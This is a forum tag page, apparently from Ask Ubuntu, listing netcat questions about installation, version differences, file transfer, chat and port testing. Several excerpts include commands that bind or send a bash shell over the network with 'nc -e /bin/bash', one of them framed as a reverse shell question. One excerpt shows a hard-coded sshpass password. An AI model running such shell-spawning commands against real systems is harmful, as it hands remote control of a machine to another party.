Questions tagged [netcat]

(or `nc`), a utility that is used for just about anything involving TCP, UDP, or UNIX-domain sockets. It can open TCP connections, send UDP packets, listen on arbitrary TCP and UDP ports, do port scanning.

Filter by
Sorted by
Tagged with
0
votes
0answers
32 views

Can't access multiple endpoints with apt update or wireguard, but can use netcat to communicate with them

I'm having an issue where my Ubuntu device is unable to connect with multiple endpoints when I try to sudo apt update it. The device is a Jetson Nano Here's my output when running sudo apt update: Ign:...
0
votes
0answers
19 views

unable to install netcat on wsl running ubuntu 18.04 [duplicate]

I am a beginner, I am trying to setup a wsl with basic tools. I am trying to install unzip, tree, netcat, nmap etc and everytime i run the command there is no error but this message is shown. Reading ...
0
votes
0answers
55 views

Netcat files transfer over a private backend 10G network [duplicate]

I have a bunch of machines on Ubuntu 20.04 as well as a storage server on Ubuntu 20.04. I'm looking to transfer quickly files of 100 Gb+ to the storage server with Netcat. I would like to be able to ...
0
votes
1answer
239 views

How to create a bash listener with netcat in Ubuntu?

In a lot of basic security tutorials and materials I see netcat used to open a listener / backdoor shell. On port 666 for example: netcat -l -p 1666 -e /bin/bash/ How to do this in Ubuntu? When I try ...
0
votes
2answers
206 views

How do I debug a failed cron job involving netcat?

The idea of using crontab to schedule netcat commands on two machines was brought up in this question, but the respondents all rebuked the asker and pivoted to talking about scp instead. Assuming I am ...
0
votes
2answers
352 views

How to connect the stderr in netcat?

Suppose i have two shells (A and B). And i execute command below for first shell: nc -lvp 7777 -e /usr/bin/bash And in the second shell i execute : nc localhost 7777 After that, i type 'something' ...
0
votes
2answers
531 views

Confusion about nc -l and nc -lp

In the manpage for nc -l, it says: It is an error to use this option in conjunction with the -p, -s, or -z options. But most examples I see online using this command use nc -lp [port]. Can you use -p ...
0
votes
1answer
34 views

Communication between two netcats

Guys why is this happening: I launch this on one console nc -l 5000 -e /bin/bash And this on another one on the same pc nc localhost 5000 But it shows connection refused! Why is this happening and ...
0
votes
1answer
234 views

Weird text displayed after using netcat to connect with remote server

This question might be stupid but I have a small problem which I can't resolve. I used netcat to connect to a CTF server and while connecting, I had opened many Ubuntu windows. This is when a line of ...
0
votes
1answer
989 views

How do I create a TCP listener with netcat and put it in the background?

I’m using nc -l to create a listener socket, but then it just.....listens.....and I can’t issue any further commands. How do I put it in the background so I can maintain the listener and keep ...
0
votes
1answer
223 views

Unable to connect to computer from outside LAN

I opened two terminal windows, and typed nc -vv -lp 9999 in the first one andnc -vv $(dig +short myip.opendns.com @resolver1.opendns.com) 9999 in the second. However, the two netcats didn't connect, ...
1
vote
0answers
47 views

Connecting to tcp client programs (sockets) together using netcat

I have some device which is on the network layer acting as TCP client. And I have some programm on the remote host (debian machine) which is acting simililary as a TCP client on the network layer. How ...
0
votes
1answer
356 views

netcat is unable to establish communication [closed]

I followed the standard procedure to connect via an access port, based on the following commands: nc -l -pxxxx nc <ip address> -pxxxx However when I enter the second command on another ...
0
votes
1answer
137 views

How do I send files with netcat using find?

I am trying to send a large number of json files via netcat, but I can't seem to get the find -exec combination right. I am in the directory with the json files and have tried the following: find -...
0
votes
0answers
206 views

Netcat -z does not return if host not found

I'm using Ubuntu 16.04.6 LTS. I'm trying to detect that a cable is connected to a camera serving an rtsp stream. My script is invoking nc -zv 10.0.0.3 554 and testing the return value (or stderr) ...
1
vote
2answers
84 views

seq with timer to netcat

I want to output sequential numbers every 100 ms into nc -lk. seq 1 100 | nc -lk 9999 does output the numbers to nc but it doesn't have the timer. Is there any way to do it using seq and sleep?
5
votes
1answer
3k views

How does this command work? (reverse shell)

There was a simple way to connect two systems and getting a shell using nc command as below. machine A to listen nc -nlvp 4444 machine B to connect nc 192.168.4.4 4444 -e /bin/bash However ...
0
votes
0answers
443 views

Sending a custom TCP packet

I am building a program that extracts transport layer data from packets, I want to test it but I couldn't find a way to specify TCP flags using netcat. Is there a tool that does this for Linux, or is ...
0
votes
1answer
2k views

shell script test a telnet connection

I'm Trying to make a scipt that checks if my own specific port is open and can be connected. I tried doing it by netcat by nc -vz localhost 25565 but this only tells me if the port is open. I need ...
0
votes
1answer
1k views

I can no longer install netcat6 for IPv6 support

I am trying to install netcat 6 to deal with ipv6. However, for some reason I can't install it. I tried to upgrade by sudo apt-get --only-upgrade install netcat That didn't work. I tried to install it ...
1
vote
1answer
2k views

Redirect output and save to remote server?

Is it at all possible to redirect some stdout and have the data saved to a file on a remote server? Below is a terrible example the definitely don't work... sudo tcpdump ... 2>&1 | ssh ... ...
2
votes
1answer
27k views

connect via netcat and send messages in bash script [duplicate]

When I am writing a bash script like the following: #!/bin/bash nc localhost [pseudoport] echo "test" it connects to the server but does not send the text "test". It works with #!/bin/bash echo ...
1
vote
1answer
764 views

Weird netcat (OpenBSD version) behavior

I am using Ubuntu server 16.04.3, it comes with the OpenBSD version of netcat. I have used the OpenBSD version of netcat before in Fedora, and in Fedora I can't use the -p option with the -l option, ...
0
votes
1answer
2k views

how to connect multiple clients on server

nc -l -vv -p 7795 This is the command for listen the port But i can connect only one client by using(nc localhost 7795) to the port,tell me how to connect multiple client to the port 7795
0
votes
1answer
2k views

How to send only data (ignore receiving) with nc command (equivalent to --send-only option on redhat)?

I am using command "echo "TEST" | nc localhost 1234 --send-only" on Redhat version to Only send data and ignoring received. I could not find --send-only equivalent option for nc command on ubuntu.
1
vote
1answer
641 views

How to select netcat-traditional in Ubuntu in a Dockerfile

I want to use netcat-traditional in Ubuntu but configure this in a Dockerfile, so obviously I cannot use the helpful command prompt triggered when running sudo update-alternatives --config nc How do ...
2
votes
1answer
995 views

run netcat on crontab

I have 2 systems 1: 192.168.0.31 2: 192.168.0.32 From system 1 terminal I executed below command tar -zcf - test | pv | nc -l -p 5555 -q 5 From system 2 terminal I executed below command nc 192....
1
vote
0answers
755 views

Netcat not working on linux server running VPN

Due to our very remote location and budget restraints my internet connection is limited to cellular 3G / EDGE. The service provider does not have an option for supplying me with a public IP, so we ...
0
votes
0answers
660 views

netcat chat client over the internet

I want to be able to use net cat for a chat client but I can only figure out how to do it over local network. For what I want to do I need to be able to let people connect over the internet. Say I am ...
0
votes
0answers
309 views

mawk: line 1: syntax error at or near =

I am making a simple chat using netcat, from this forum, and I have run into some trouble... When executing this script: #!/bin/bash sshpass -p \!Password ssh maliciouzzhd@10.0.0.1 "export DISPLAY=:...
3
votes
2answers
11k views

BASH: Read lines from netcat connection

I have a simple script which reads some lines from a connection initialized using netcat. A client can transmit some "commands". If the client write "exit" I like to close the connection. BUT: After ...
1
vote
2answers
2k views

How to configure a wireshark remote capture?

I have 2 machine M1 and M2 running on Debian 8.0 located in 2 remote network N1 and N2 M1 is capturing packets continuousl in N1 and has a known static IP. M2 is accessing the capture remotely from ...
3
votes
2answers
18k views

STDOUT and STDERR redirection for nc

I am trying to make a watchdog bash script which has to check if the port is open, based on the exit status, otherwise should start the daemon. Problem is I can't manage to avoid the script outputting ...
7
votes
2answers
10k views

How can I select default version of Netcat in ubuntu

When I checked netcat -h I found out that the -e and Version option is missing from my netcat. I use Ubuntu 15.10. After searching from forums I found out a way to know the version installed and the ...
0
votes
1answer
235 views

Lists... 0% error when installing netcat

I get this when I try and install netcat: root@server:~# sudo apt-get install nc -y root@server:~# lists... 0% root@server:~# Can anyone help?
-1
votes
2answers
5k views

How can we make use of netcat to determine if a machine is running a web, mail, or ssh server?

Without using the nmap program or ping, How can we make use of the netcat program (nc) to determine whether a particular machine is running web, mail or ssh services.
29
votes
2answers
20k views

How to build a simple chat using netcat?

I am currently working on a project and I have implemented a simple chat application using the netcat libraries. The client is prompted to enter port number and the command nc -l -p xxxx where xxxx ...
2
votes
1answer
13k views

How to kill nc -k -l without restart?

I have a script running behind the screen which has a command nc -k -l 12345. Is there any workarounds I could kill this daemon without restarting the machine? Ubuntu 14.04
1
vote
0answers
145 views

nc command: conflict between different Ubuntu machines

I am using Ubuntu 14.04. Then I have an Ubuntu 12.04 machine running on virtualbox. On the virtual box machine I listened on port 12345 using the command nc -l 12345 And on the host machine, I ...
5
votes
2answers
9k views

Is it possible to encrypt the communications via netcat?

I know that its possible to chat in linux terminal using netcat. I want to know whether it is possible to encrypt the netcat communications. I did chat by listening on PC-1 nc -l 1234 And ...
2
votes
1answer
3k views

Bash script that opens multiple netcat instances and exits them

I am trying to create a script that opens up multiple gnome-terminals and opens a netcat connection. After a couple seconds I would like the terminals to close. I am at a loss and I believe it can't ...
0
votes
1answer
3k views

Netcat not working (at least, not that I can tell)

Last night, I discovered that netcat, was behaving... well, oddly, to say the least. When invoked (I didn't use flags, just the basic "netcat [hostname] [port number]), it would do one of two things ...
4
votes
1answer
7k views

Trying to test a service is up using nc command

I'm trying to test if a service is up and running using nc. echo ruok | nc 127.0.0.1 5111 But I get this response: This is nc from the netcat-openbsd package. An alternative nc is available in the ...
4
votes
2answers
1k views

Secure Chat Tunnel

I Want to Create a Secure Chat connection and tunnel through Ubuntu terminal or something like netcat (nc -l 1234) but netcat is not encrypted.
3
votes
0answers
3k views

Why is netcat remote shell not returning any output on ubuntu 12.04?

I'm connecting to a server I have on my laptop, both are on the same vmnet and both systems are Ubuntu 12.04 LTS. In order to connect I use reverse shell from the web sever. First I start listening ...
51
votes
2answers
238k views

Sending a simple TCP message using Netcat

I am trying to use netcat to send a simple message over TCP, e.g. I want to send the digit 1. So I understood that I write the following in the terminal, after installing netcat netcat [ip-address] [...
39
votes
2answers
21k views

What are the differences between netcat-traditional and netcat-openbsd?

What (if any) are the significant differences between netcat-traditional and netcat-openbsd? I'm having trouble finding any relative information. Anybody familiar that can offer some insight?